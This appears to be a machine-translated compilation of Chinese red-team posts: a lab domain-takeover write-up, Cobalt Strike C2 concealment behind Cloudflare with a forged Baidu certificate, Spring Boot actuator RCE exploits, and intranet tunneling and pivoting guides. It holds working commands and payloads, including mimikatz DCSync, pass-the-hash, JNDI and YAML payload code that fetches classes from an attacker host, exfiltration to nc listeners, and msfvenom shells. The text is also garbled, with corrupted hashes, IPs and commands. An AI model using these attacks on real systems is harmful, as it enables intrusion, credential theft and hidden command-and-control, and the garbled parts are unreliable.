/PTT /Ticket:Doifmjccbzagawibbaedagewooieqzccbkdhggsjmiien6adagefoq4bdfhjqu9squ5hlkxbqqihmb+gawibaqymbybbmtyynrndbsmeglh B3JHBMCUBGFIO4IEYZCCBF+GAWIBEQEDAGECOOIEUQBE3JOMEUPBK3C69YAGUYDCLGYHRYVJZG4ZXERWUSWVFS0KZ+4Q2UTCKGQYW3GLS5SF0/MJ0FHIL1V 8u5wrlpgr5hblyugn+g1zmv3uitxo7qobxh0lr0duukundpoxdpdx26liz5/xddfvz4xtymkdqqrxgbwqggjh1cp/woy4u4txjo+l8cfq424kgdb3n/rjyrn y54m8qhl/smhg3ppmgtt2feij5jag+qdpm/r/xuoijhnzsfcvi2xilgqpf374jubih99utzvlqroshz9qljzlbseaqen9ctu01tmnnn4acrz4mqmv1mmyv9scfe jnqbcpgds+zvesrt53dwfotrg00o4jq6rgr9dr/6zmkc1w/kfwsxdf1b/h3homm7hzk0qlfsbdtq8i1e2ffdz5kyovbbtae6iraizzk7scds4ro9rrsdl6bna V25nkjce6j9dj4V56ua1Gh+F+JQfAHbE8zLNt9OmseJs6IGj/cxKEckbhcggGhQhL3c6k1FKZOTXY1PKR8zweZauWgK7FXiDLEP1h6YwP2S/frDmKRb5mCdBU UQBZSA/6BBMANXVFKX1B8XVIT0RQ1I/PLKS9LKWTKYUHJD67Z6XDDRN7IWR0FSTYQGUVHPN391L02ZNUJRK5/7JYOYKWHQ3SB/XRZC4YGGIMMGRZ0FQRQ+ hrbqbtunr2/i4hgywdlubsevz5qb1kxcebrkwuchhpgktsdbyz30tnpa0w2qwu8qj8zkks04r2hj91lcpudabrjhjff/und+++fhcfylau0xzmur8ekua2lcv 0FEF2IGVIU38BCRVUJFGKH423FGPSR4XOM8/8LNWHU+KAAIGSWSER8UGR8UGR8JIDVJTMGF5SCFOQDM+KVJ5O0ZNETTUHJHCVMADLI1QTQ5WJQRIEA6U4D6BYSHI 43IPS6SO8HECSB/03FPOKR/SRUYVEALW3IAWAJTAPTW/SRZUELXEEMVG2AADTL1 QXNW04A04A04A04A04A04A04A04A04AMI3PXJVSYCJYVIDWAZTHGBQOM3FHLZ4ZPZP blfbkagxqr624yo5yiajbl9/dp4m7iauibo7kawcfka1iafkygdfgaxudab52dt72jw0/qpelp08rordlty8irpjkazhssguvyuky07lr+ck95mekfdnl8cw AKW0MB8F92N4G4OFWQBUJK/479LYMZBDG38IWHHV/MLIACHLHM5NAZAY0JXJ2CEQIVSAFLFM7GP23V55HJ/T+EKT0ZD3EIJNHUWBVVVVVVVVVVVVVVVVVVVVVVVVVVVVHYEVKKCFJZGRALLQXA ptmkhhgila+wtkvcxpqx6qx8b40pg9r1rr4zq9bupb4jnnqwhe5sigpurr02xv5fuiii9qc5 //buhxceoxi0tfasrbghayna/tlrvak drqqrpitm1en79jsnw6adh1curfjr ++ ps6zyx6yqk3dlj5piiy2oavlpipcn1zmbz+jgdowgdegawibakkbzwsbzh2bytcbxqcbwzcbwdcbvaabmgmgawibf6 esbbbaxglfzni5hheocpajfdneoq4bdfhjqu9squ5hlkxbqqqizmbegawibaaeqma4bde1tu1fmu0vsvkvsjkmhawuaqoeaakurga8ymdiymtymizm1q mergpmjaymjewmjimjiymznapxeydziwmjixmta0mtiymjmzwqgogwxysufpukfukfory5mqukpitafoamcaqkkhgdawgwzrcmj0z3qbdhhpyw9yw5nlmxhyg== LDAPサービスには、ドメイン内のユーザーのハッシュをエクスポートするDCSYNC許可があります mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator' exit wmi水平 ドメイン管理のハッシュを取得した後、WMIサービスを介してドメインコントロールにログインできます。 Python wmiexec.py -hashes 00000000000000000000000000000000000000000000000000000033601A19251FBD935969832616366AE3FE62管理者@172.222.2.3 4番目の旗を入手する 別の方法 ハッシュによってドメイン制御を直接取得できます。ここでは、CrackMapexecを使用してPTHを実行します プロキシチェーンCrackmapexec SMB 172.22.2.3 -U Administrator -H1A19251FBD935969832616366666666666662 -D Xiaorang.lab -x 'タイプユーザー\管理者\ Administrator \ flag \ flag04.txt' https://zhuanlan.zhihu.com/p/581577873
  22. ツールの準備 外国人サーバー 無料クジラ(VPN) CS 4.4 nginx csサーバー構成 サーバーpingが無効になっています 1.サーバーPingが無効になっている場合、ホストが非アクティブであることを特定の観点から決定できます。 2。ファイル /etc /sysctl.confを編集し、それに行を追加します。 net.ipv4.icmp_echo_ignore_all=1 次に、ミッションコマンドSYSCTL -Pにより、構成が有効になります。 vim /etc/sysctl.conf net.ipv4.icmp_echo_ignore_all=1 sysctl -p 3。その後、pingはpingできません。このようにして、NMAPはサーバーをスキャンして生き残ることができます。 ポートを変更 1。TeamServerファイルを編集し、50050を検索し、任意のポートに変更すると、65000に変更されます VIM TeamServer 2。保存して終了し、TeamServerを開始し、ポートが変更されたことを確認します。 ./TeamServer XX.XX.XX.XX Xiao デフォルトの証明書を変更 1。CSサーバーによって生成された証明書には、CSのすべての関連特性が含まれているため、ここに変更され、置き換えられます。それを変更するには2つの方法があります。つまり、キーストアを生成してスタートアップファイルを変更します。どちらに関係なく、元のファイルCobaltStrike.storeを削除する必要があります。 方法1キーストアファイルCobaltstrike.store(推奨)を削除します 1。新しいキーストアファイルを生成します keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg rsa -alias baidu -dname 'cn=baidu.com、ou=サービス操作部門、o=beijing baidu netcom Science Technology Co. keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoreType PKCS12 2。証明書を確認してください keytool -list -keystore cobaltstrike.store 3。サーバーを起動して、証明書の署名が同じかどうかを確認し、確認後も証明書署名が同じかどうかを確認します。 方法2スタートアップファイルを変更 1。TeamServerは、CSSサーバーを起動する起動ファイルです。キーストアの検出など、環境検出部分があります。このパートを書く方法は、キーストアを検出できない場合、コマンドを使用して新しいキーストアを生成し、ここで生成されたコマンドを変更することです。 2。TeamServerで囲まれた部品を変更する必要があります 3.次のコンテンツに変更します。 keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg rsa -alias baidu -dname 'cn=baidu.com、ou=サービス操作部門、o=beijing baidu netcom Science Technology Co. 4.元の./cobaltstrike.store keystoreファイルを削除し、次に開始すると、新しいキーストアファイルが自動的に生成されます。 RM -RF CobaltStrike.store cdn で非表示にします 無料ドメイン名を適用します 1。Freenom公式ウェブサイトを入力し、中国語を翻訳し、下部に引っ張り、開発者を選択します。 2。下部に引っ張り、今日クリックしてランダムドメインアカウントを取得します 3.国際的なメールアドレスを入力し、[メールアドレスの確認]をクリックします。一時的なメールアドレスを使用することをお勧めします。 4。数秒後、メールが届きます。電子メールをクリックして、確認をクリックして、Freenom Webサイトにジャンプします。現在のWebページを翻訳した後、[開発者]をクリックします。 5.ウェブサイトを最後まで引っ張り、中国語を翻訳し、クリックしてランダムドメインアカウントをすぐに取得します。 6.次に、個人情報充填ページにご覧ください 7. IPで選択されたアドレスはフロリダであるため、フロリダの個人情報ジェネレーターと個人情報ジェネレーターを使用する必要があり、2つを組み合わせる必要があります。 8。ジェネレーターに従って情報を入力してください。記入した後、チェックしてクリックして注文を完了します。アカウントは正常に登録されています。 9. Webサイトのホームページに戻り、ドメイン名を選択し、xxx.tkを入力し、[可用性]をクリックし、利用可能な場合はチェックアウトをクリックします。 10. 12か月間の無料版を選択し、最後に[続行]をクリックします。 11。最終注文 12.ドメインを選択して、ドメイン名が生きていることを確認します。 CDN構成 1。実際、CDNパーツにはかなりのオプションがあります。ここでCloudFlareを選びました 2。CloudFlareにログインしたら、[サイトの追加]を選択します 3.無料プランを選択します 4. DNSレコードを追加し、保護するIPとレコードを入力します。 5. xxx.tkのDNSサーバーをCloudFlareに変更します。変更が完了した後、有効になるには一定の時間がかかります 6.自動HTTPSをオフにして書き直し、常にHTTPSとBroti圧縮を使用します 7. [完了]をクリックします 8.次のインターフェイスが表示され、設定が有効になります。 CloudFlareを使用して、ドメイン名の解像度操作を実行できます。 9. www.xxx.tkを分析してテストします 10。グローバルpingを使用して、CDNが正常に追加されたことがわかりました 11.完了するようにSSL/TLS暗号化モードを構成します CloudFlareは証明書を生成します 1。SSL/TLS-Source Serverを見つけて、CloudFlareのDashページで証明書を作成し、それぞれパブリックキーとプライベートキー、つまりServer.PEMとServer.Keyをそれぞれ保存します。生成中に保存する必要があります。そうしないと、秘密鍵が見つからない場合があります。 2。証明書を申請してキーストアをパッケージ化し、証明書をパッケージ化し、ストアファイルを生成します。 openSSL PKCS12 -EXPORT -IN SERVER.PEM -INKEY SERVER.KEY -OUT www.xxx.tk.p12 -Name www.xxx.tk -passout pass:123456 //keytoolを使用して、CS利用可能なストア形式で証明書ペアを生成します keytool -imporekeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.tk.store -srckeystore www.xxx.tk.p12 -srcstoreType PKCS12 -SRCSTOREPOREPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASS 3。証明書をHTTPSリスニング方法に構成します。申請した証明書を使用する場合は、「可鍛性C2プロファイル」メソッドを使用して操作する必要があります。ここでは、cloudflare.profileを例として取ります。 CSディレクトリに生成されたキーfile.storeを配置し、cloudflare.profileを証明書構成に追加する必要があります。注意する必要があるのは、HTTPS-ティフィフィクションが証明書関連の構成であることです。他のclient.headerのホスト値は、適用したドメイン名である必要があり、他の部分は個人的な状況に従って構成する必要があります。 //上記のStore証明書をTeamServerディレクトリにコピーします cp ./www.xxx.tk.store/opt/cs44/ //cloudflare.profileファイルを作成します Vim CloudFlare.Profile //cloudflare.profileファイルコンテンツ https-certificate { keystore 'www.xxx.tk.store'を設定します。 パスワード「123456」を設定します。 } http-stager { set uri_x86 '/api/1'; set uri_x64 '/api/2'; クライアント { ヘッダー「ホスト」 'www.xxx.tk';} サーバー{ 出力{ 印刷; } } } http-get { set uri '/api/3'; クライアント { ヘッダー「ホスト」 'www.xxx.tk'; メタデータ{ base64; ヘッダー「クッキー」; } } サーバー{ 出力{ 印刷; } } } http-post { set uri '/api/4'; クライアント { ヘッダー「ホスト」 'www.xxx.tk'; id { uri-append; } 出力{ 印刷; } } サーバー{ 出力{ 印刷; } } } 4。構成ファイルに問題があることを確認してください。以下は、検証のための構成に成功しています(現在のディレクトリにはcobaltstrike.jarが必要です) //新しいc2lintファイルを作成します VIM C2LINT //c2lintファイルコンテンツ Java -xx:parallelgcthreads=4 -xx:+useparallelgc -classpath ./cobaltstrike.jar c2profile.lint $ 1 //構成ファイルに問題があるかどうかを確認します ./c2lint cloudflare.profile
  23. 0x1情報 tag: MSSQL、特権エスカレーション、Kerberos、ドメイン浸透、RDP 範囲アドレス:https://yunjing.icunqiu.com/ranking/summary?id=bzmfnfpvudu 0x2 recon ターゲット外部IP47.92.82.196nmap SA:1QAZ!QAZ 0x3エントリポイントmssql -172.22.8.18 序文、このマシンはドメインMSSQLシェルに直接はありません(ここでスクリーンショットを撮るのを忘れていました.) getClsid.ps1を変更し、実行ポテトを追加します ジャガイモとgetclsid.ps1 getclsid.ps1 を実行します 有効なCLSIDおよびコマンド実行結果 Export SAM、System、Security を取得する 資格情報を解決し、管理者+ psexec 139を水平に使用して(外部ネットワークは445を開けません)flag01administrator 2CAF35BB4C5059A3D50599844E2B9B1F 550-69510に来るマシンを把握するためにポート接続管理者PSEXECを使用してMSF(システム許可)、Incognitoモジュールを使用し、Johnをシミュレートします(MSFのIncognitoのみが後続の操作を完了することができるとテストしました。 \\ tsclient \ cの下の資格情報を直接取得し、ハイジャック画像をプロンプト(ミラーハイジャック)xiaorang.lab \ aldrich:ald@rlmwuy7z!# cme scan scan scan scan scan scan scan scan skip the cme scan skip the cme scan skip the cme scan scanマシンは、パスワードの有効期限が切れていることを促します。テストDC01ポート88が有効であるかどうか(ドメイン制御がドメインコントロールであるかどうかをテスト)、DC01はドメインコントロールSMBPASSWD.py 111QQQQQをリモートで変更し、LDAPSHELL.PYAFIFACIAL、LOGIN DOMAN列挙RDPは、172.22.8.46をログインして入力できることを示しています(公式のCME RDPモジュールを使用して、有効なRDP資格情報をスキャンしません。XFreerDPに基づいてCMEモジュールを書きました) Xiaolichan/CrackMapexec-Extension 0x4ドメイン浸透 - 入り口-172.22.8.46 ログインと表示Xiaorang.lab \ aldrichはこのマシンの管理者ではなく、当局を増やすための普通のユーザーです。 2つの方法 PRIV-ESC1:ミラーハイジャックの標高(一般) get-aclはレジストリ「HKLM: \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Imageファイルの実行オプション」に書き込み、操作を作成できます。 gmagify.exe(拡大ガラス)をハイジャックし、cmd.exeを実行するレジストリを作成します ユーザーをロックします 拡大ガラスをクリックします システムに権限を向上させます PRIV-ESC2:Krbrelayupのエスカレーション ドメイン通常の許可ユーザーは、ドメイン内のマシンを直接(型破り、推奨) 0x5ドメイン浸透-DCテイクオーバー 2つの方法Win2016 $のグループ関係を観察し、それがドメイン管理グループにあることを発見します。 DCSYNCを使用して、DC01を直接奪う(プロセスは省略)制約委任(型破り) Bloodhoundはドメイン情報を収集し、分析し、制約委任があることを発見します getSt.py を使用した制約付き委任攻撃 DC01 オリジナルリンク:https://www.freebuf.com/articles/system/352237.html
  24. 1。 Springboot envに *敏感な情報を取得します Springbootサイトに直接アクセスすると、一部のパスワードフィールドが *で満たされていることがわかります。 クリアテキストフィールドは$ {name} 2を介して取得できます。不適切な構成は、機密情報の漏れにつながります(パスワードコールアスタリスク、PWDはアスタリスクを呼び出しません参照https://MP.weixin.Q.com/s/s/hmgeyrcf1HSVW995501 特定の実装プロセス: たとえば、 PIDパラメーター値を取得したい 'pid':' 10648 '、 post /env http /1.1 HOST: 10.20.24.191:8090 user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0 Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8 Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3 Accept-Encoding: gzip、deflate Connection:閉じます アップグレード-Insecure-Requests: 1 Content-Type:アプリケーション/x-www-form-urlencoded Content-Length: 76 eureka.client.serviceurl.defaultzone=http://$ {pid }@10.20.24.191:2444/ 次に、コンテンツを更新し、脆弱性をトリガーします PS:は通常、応答パッケージを持つために3秒待つ必要があります。リターンがリフレッシュできないSpring-Boot-Starter-Actuator拡張機能パッケージがないためである可能性がある場合、悪用することはできません。 投稿/更新http /1.1 HOST: 10.20.24.191:8090 user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0 Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8 Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3 Accept-Encoding: gzip、deflate Connection:閉じます アップグレード-Insecure-Requests: 1 Content-Type:アプリケーション/x-www-form-urlencoded Content-Length: 5 12312 サーバーNCがポート2444に耳を傾けると、受信されます root@kali:/tmp#nc -lvvp 2444 [任意の] 2444で聞く. Kali [10.20.24.191] 40960から[10.20.24.191]に接続します get/xstream/apps/http/1.1 Accept: Application/JSON discoveryidentity-name: defaultclient DiscoveryIdentity-version: 1.4 DiscoveryIdentity-ID: 10.20.24.191 Accept-Encoding: GZIP host: 10.20.24.191:2444 Connection: Keep-Alive user-agent: java-eurekaclient/v1.4.11 Authorization: BASIC MZGZNDY6BNVSBA== Authorization: BASIC MZGZNDY6BNVSBA== 取得するためのbase64デコード root@kali:/tmp#echo mzgzndy6bnvsba==| base64 -d 38346:Null 上記のPID情報と同じです 同様に、user.countryパラメーターを取得すると、手順は同じです 結果: root@kali:/tmp#nc -lvvp 2555 [任意の] 2555で聞く. Kali [10.20.24.191]から[10.20.24.191]に接続します。38994 get/xstream/apps/http/1.1 Accept: Application/JSON discoveryidentity-name: defaultclient DiscoveryIdentity-version: 1.4 DiscoveryIdentity-ID: 10.20.24.191 Accept-Encoding: GZIP HOST: 10.20.24.191:2555 Connection: Keep-Alive user-agent: java-eurekaclient/v1.4.11 Authorization: Basic VVM6BNVSBA== 0、RCVD 310を送信します 取得するためのbase64デコード root@kali:/tmp#echo vvm6bnvsba==| base64 -d US: Null Scripting: 照会するパラメーターを入力し、NC で聴くポートを入力します ポートを聴き、指定されたヘッダーヘッダーを取得し、自動的にbase64復号化 PS:ターゲットクラスパス(通常はSpring Cloud Netflixに含まれる)にEureka-Client 1.8.7を持つことができた場合、XStream Deserializationの脆弱性を活用できます。 たとえば、USER-AGENT: JAVA-EUREKACLIENT/V1.4.11 2。 springboot_actuator jndi rce 1。環境構築 git clone 3https://github.com/veracode-research/actuator-testbed 起動する MVNインストール または MVN Spring-Boot:Run コンピレーションと操作により、リスニングIPアドレスは127.0.0.1であり、ローカルマシンのみでアクセスできることがわかりました。 Baidu検索、0.0.0.0に変更するだけです。 キーファイルを見つけます grep -r 'server.address' -n ./ ./src/main/resources/application.properties:23360server.address=127.0.0.1 ./target/classes/application.properties:2:server.address=127.0.0.1 に変更します server.port=8090 server.address=0.0.0.0 #脆弱な構成セット0:スプリングブート1.0-1.4 #すべてのスプリングブートバージョン1.0-1.4パラメーターなしでデフォルトでアクターを公開する #それらを公開するために必要な構成はありません #セーフ構成セット0:スプリングブート1.0-1.4 #management.security.enabled=true #脆弱な構成セット1:スプリングブート1.5+ #スプリングブート1.5+はmanagement.security.enabled=falseを必要とします敏感なアクターを公開する #management.security.enabled=false #セーフ構成セット1:スプリングブート1.5+ # 'management.security.enabled=false'が、すべての敏感なアクターが明示的に無効になっている場合 #management.security.enabled=false #脆弱な構成セット2:スプリングブート2+ #management.endpoints.web.exposure.include=* 2。再起動して起動 mvn spring-boot:run または /opt/jdk1.8.0_60//bin/java-classpath /opt/apache-maven-3.6.2/plexus-classworlds-2.6.0.jar -dclassworlds.conf=/opt/apache-maven-3.6.2/bin/bin/m2.conf -dmaven.home=/opchmen.home -dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -dmaven.multimoduleprojectdirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.launchersprun-boot3:Run しばらく待ってください root@kali:〜/actuator/actuator -testbed#netstat -ntpl | grep 8090 TCP6 0 0 :8090 :*聞いて33666/java root@kali:〜/actuator/actuator-testbed# http://10.20.24.191:8090/ http://10.20.24.191:8090/Jolokia/List reloadbyurlは、リモートURL XMLファイルをロードできます 'ch.qos.logback.classic': { 'name=default、type=ch.qos.logback.classic.jmx.jmxconfigurator': { 'op': { 'reloadbyurl': { 'args': [ { 'name ':' p1 '、 'Type':' java.net.url '、 'desc':' ' } ]、 'ret':' void '、 'desc':'管理のために公開された操作' } 3.HTTP Service Stores logback.xml、exportobject.class logback.xmlファイルコンテンツ Configuration InsertFromjndi env-entry-name='rmi: //10.20.24.19133601099/exploit' as='appname'/ /構成 ExportObject.java java.io.bufferedreaderをインポートします。 java.io.inputStreamをインポートします。 java.io.inputStreamReaderをインポートします。 Public Class ExportObject { public ExportObject()スロー例外{ process var1=runtime.getRuntime()。exec( 'touch /tmp /jas502n'); inputstream var2=var1.getinputStream(); BufferedReader var3=new BufferedReader(new inputStreamReader(var2)); 文字列var4; while((var4=var3.readline())!=null){ System.out.println(var4); } var1.waitfor(); var2.close(); var3.close(); var1.destroy(); } public static void main(string [] var0)は例外をスローします{ } } 4.rceトリガー RMIポートを聴いてください root@kali:〜/ldap_rmi#cat rmi.sh Java -CP MARSHALSEC-0.0.3-SNAPSHOT-ALL.JAR MARSHALSEC.JNDI.RMIREFSERVER http://10.20.24.191:8000/#EXPORTOBJECT root@kali:〜/ldap_rmi#./rmi.sh * 1099にJRMPリスナーを開く /10.20.24.191:43878から接続があります メッセージを読む. rmi.lookup call for exportobject 2です http://10.20.20.24.191:8000/exportobject.classをターゲットとするリモートクラスロードスタブの送信 接続を閉じます ブラウザアクセスは、解析用のリモートlogback.xmlファイルをロードします。 サーバーは悪意のあるJNDIアドレスにアクセスし、悪意のあるバイトコードコードの実行を引き起こします http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:name=default、type=ch.qos.l ogback.classic.jmx.jmxconfigurator/reloadbyurl/http: 5。コマンドの実行は成功しました root@kali:/var/www/html#ls/tmp/j* /TMP/JAS502N root@kali:/var/www/html# iii。 YML RCE脆弱性 スプリング環境でRCEを実装する方法spring.cloud.bootstrap.locationプロパティの変更はより信頼性が高い このプロパティは、外部構成をロードし、YAML形式で解析するために使用されます。これを達成するために、ポスト/リフレッシュコンテンツは脆弱性を引き起こします。 yaml_payload.ymlファイルコンテンツ: ! javax.script.scriptenginemanager [ ! java.net.urlclassloader [[[[ ! java.net.url ['http://10.20.24.191:8000/yaml_payload.jar'] ]] ] 1.yaml_payload.jar製造 コード3https://github.com/artsploit/yaml-payload awesomescriptenginefactory.javaコードの一部 javax.script.scriptengineをインポートします。 javax.script.scriptengineFactoryをインポートします。 java.io.ioexceptionをインポートします。 java.util.listをインポートします。 Public Class AwesomeScriptEngineFactoryはScriptEngineFactoryを実装しています{ public wesomescriptengineFactory(){ 試す { runtime.getRuntime()。exec( 'touch /tmp /success'); } catch(ioException e){ e.printstacktrace(); } } ymal_payload.jar \ artsploit \ awesomescriptenginefactory.java 実際のバイトコードが含まれており、コンストラクターに悪意のあるペイロードがあります。 ymal_payload.jar \ services \ javax.script.scriptengineFactory serviceloaderがクラスを見つける場所を知っているように、「artsploit.awesomescriptenginefactory」への完全な参照を含むテキストファイルだけ コンテンツ:Artsploit.awesomescriptengineFactory JARファイルはHTTPサーバーに存在します http://10.20.24.191:8090/ymal_payload.jar 2.spring.cloud.bootstrap.location をセットします Sprud.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml post /env http /1.1 HOST: 10.20.24.191:8090 user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0 Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8 Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3 Accept-Encoding: gzip、deflate x-forwarded-for: 127.0.0.1 Connection:閉じます アップグレード-Insecure-Requests: 1 Content-Type:アプリケーション/x-www-form-urlencoded Content-Length: 73 spring.cloud.bootstrap.Location=http://10.20.20.24.19133608000/yaml_payload.yml 3. refresh任意のコンテンツを投稿し、RCEの脆弱性がトリガーされました POST /更新HTTP /1.1 HOST: 10.20.24.191:8090 user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0 Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8 Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3 Accept-Encoding: gzip、deflate x-forwarded-for: 127.0.0.1 Connection:閉じます アップグレード-Insecure-Requests: 1 Content-Type:アプリケーション/x-www-form-urlencoded Content-Length: 5 12312 4.RCE実行は成功しました ROOT@kali:/var/www/html#ls/tmp/suck* /TMP/成功 root@kali:/var/www/html#ps: eurekaのxstreamペイロードと比較して、yamlメソッドは最新バージョンでも使用できます。参照リンク3https://www.veracode.com/blog/research/exploiting-spring-boot-actuatorsオリジナルリンク:https://github.com/jas502n/springboot_actuator_rce
  25. 序文 イントラネットの浸透、ウェブシェル、またはコバルトストライク、メタスプロイトが発売される場合などはほんの始まりに過ぎず、イントラネットを水平に移動し、結果を拡大し、コア領域を攻撃することについてです。ただし、侵入後の前提条件は、さらなる攻撃のためにイントラネットに「排他的なチャネル」を構築することです。ただし、実際の戦闘では、ネットワーク環境が異なるため、使用方法は異なります。 この記事の内容は、次のマインドマップに従って拡張されています ターゲットアウトバウンド(ソックスプロキシ) これは、実際の戦闘で最も喜んで遭遇するネットワーク環境です。ターゲットマシンは通常のインターネットにアクセスでき、ターゲットマシンにソックスエージェントまたはコバルトストライクを直接吊るすことができ、ターゲットのイントラネットチャネルを開きます。 frp(socks5) FRPサーバー構成ファイル [共通] bind_port=8080 FRPクライアント構成ファイル [common] server_addr=xx.xx.xx.xxserver_port=8080#serviceポート共通Webポート[socks5]タイプ=tcpremote_port=8088plugin=socks5use_encrypting=trueuse_compression=true#socks5 password#pluginer=superman#plagin_passwdwd=xpasswdwdwdnj3 暗号化と圧縮の2つの関数がここに追加されますが、デフォルトでは有効にされていません。著者の紹介によると、圧縮アルゴリズムはSnappyを使用しています。 use_encryption=true enable enbryption [通信コンテンツの暗号化された送信、トラフィックが傍受されるのを効果的に防ぐ] use_compression=True Enable Compression [圧縮のコンテンツを送信し、送信されたネットワークトラフィックを効果的に削減し、トラフィック転送を高速化しますが、追加のCPUリソースを消費します] use_encryption=true、use_compression=trueは、関連するプロトコルの下に配置する必要があります。 FRPクライアントと構成ファイルがターゲットマシンに送信された後、プログラム名と構成ファイルが変更され、システム関連フォルダーに配置され、隠蔽を確保する Setg Proxies Socks5:xxx.xxx.xxx.xxx.xxx33608088 暗号化圧縮の比較 これは、暗号化と圧縮機能を使用しないFRPクライアント構成ファイルです。メタプロイトはソックスプロキシを使用して、MS17_010で送信されたデータパケットをスキャンして、特定の攻撃動作を明確に識別できます。ターゲットイントラネットに「状況認識」やトラフィック分析などのセキュリティ機器がある場合、監視され、アクセス許可が失われます。 暗号化と圧縮関数を使用した後、攻撃源アドレスも公開されますが、イントラネットのセキュリティ監視装置を回避して、送信されたデータパケットを区別することはできません。 コバルトストライク(socks4a) 制御されたターゲットマシンのビーコンに移動して、ソックスエージェントを有効にします ビーコンソックス1024 #portは、VPS の実際の状況に従って設定されています メニューバーでプロキシピボットを表示したり、コピープロキシをMetasploitに接続するか、関連するセキュリティツールにSocks4aを直接ハングします。 オンラインマシンなし これはリンクリンクです。メインリンク(ビーコン)が切断されている限り、それらはすべて切断されます! smbビーコン SMBビーコンの公式紹介:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用します。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは、通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されています。 SMBリスナー(ホストとポートは無視できます)を作成し、リスナーの選択に注意を払い、セッションのルートで到達できるホスト由来セッションを選択します。 (listnerでSMBを作成し、右クリックしてスポーンとして、対応するリスナーを選択してオンラインに移動します) 操作が成功した後、派生したSMBビーコンの接続状態であるキャラクター∞∞を見ることができます。 リンクホストリンクで切断したり、メインビーコンのホストを解除したりすることができます。 ビーコンリンク192.168.144.155Beacon Unlink 192.168.144.155 リンクリスナー オンラインホストでリスナーを作成します。 このタイプのリスナーに対応する実行可能ファイルまたはDLLをエクスポートします。 作成したばかりのリスナーを選択します。 現在オンラインのターゲットマシンに生成されたばかりの有料ロードをアップロードし、ここでpsexec.exeツールを使用します。 (Cobalstrike自体にはPSEXEC機能が十分に強力ではありません) ビーコンのPSEXECツールを使用して、ネットワークを離れないターゲットマシンにペイロードをアップロードし、自動的に実行し、オンラインになります。 ビーコンシェルC: \ Windows \ Temp \ psexec.exe -Accepteula \\ 192.168.144.155,192.168.144.196 -U管理者@123 -d -C C: \ Windows \ Temp \ Beacon.exe ビーコンシェルネットスタット-ANO | FindSTR 4444 sshログイン ビーコンSSH 192.168.144.174:22ルート管理者SSH 192.168.144.203:22ルート管理 Linuxターゲットマシンのネットワーク接続ステータスを確認することは、実際には以前に起動したWindowsホストに確立された接続です。 ターゲットはネットワークから出ない(HTTPプロキシ) ターゲットマシンネットワークには、ファイアウォール、ネットワークゲートなどがある場合があります。これは、HTTP一元配電のみを許可し、通常はインターネットにアクセスできません。上記のソックス法は実行不可能であり、HTTPプロキシを使用して浸透するためにのみ使用できます。 regeorg(socks5) Python regeorgsocksproxy.py -u 3http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -P 10080 Metasploitを使用してRegeorg Socks Proxyをハングアップし、MS17_010から送信されたデータパケットをスキャンして、攻撃動作を明確に識別できます。 neo-regeorg(暗号化) python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -U http://192.168.144.211/neo -tunnel.aspx neo -regeorgを使用した後、パケットは覆われ、送信されました。 Ice Scorpion(Open Socks5) Ice Scorpionのパケット送信は暗号化されており、Socks Proxyの機能もありますが、送信プロセス中にパケット損失があります。ここでは、Metasploitを使用してMS17_010の脆弱性を検出しますが、結果は存在しないことを示しています。プロキシ検出が設定されていない場合、実際の脆弱性が存在します。 アイススコーピオンのプロキシスキャン方法はRegeorgほど正確ではありませんが、補助/スキャナー/ポートスキャン/TCPなど、小さなスレッドのポート検出が実現可能です。精度は、何らかの検出またはその他の伝送方法でのパケットの数によってより決定されます。 reduh(シングルポート転送) Reduh使用法:https://Blog.csdn.net/nzjdsds/article/details/82930774 ターゲットサーバーミドルウェアおよびその他のサービスのサービスバージョンが低く、RegeorgまたはIce Scorpion Horseが正常に解決できない場合、他のHTTPプロキシスクリプトを使用する必要があります。これは、実際の戦いで遭遇する環境です。 ここで例として、Reduhを取り上げてください。指定されたポート(グラフィカル接続操作は該当しない)のみを転送しますが、最初にMSFvenomを使用してフォワードシェルペイロードを生成し、次にReduhシングルポート転送を組み合わせてMetasploitを起動し、最後にSocks4Aモジュールを使用してプロキシを開きます。 以下の特定のプロセスを見てみましょう。 sudo msfvenom -platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o -o x86shell.exe# - プラットフォームプラットフォームプラットフォームプラットフォームプラットフォーム#-e、-ecoderエンコーダーのターゲットプラットフォームを指定します。 ペイロードをターゲットサーバーにアップロードして実行します。 Metasploitは、転送を聞いた後のアドレスとポートです。 sudo msfconsole -qmsf5の使用exploit/multi/handlermsf5 exploit(multi/handler)setpayload 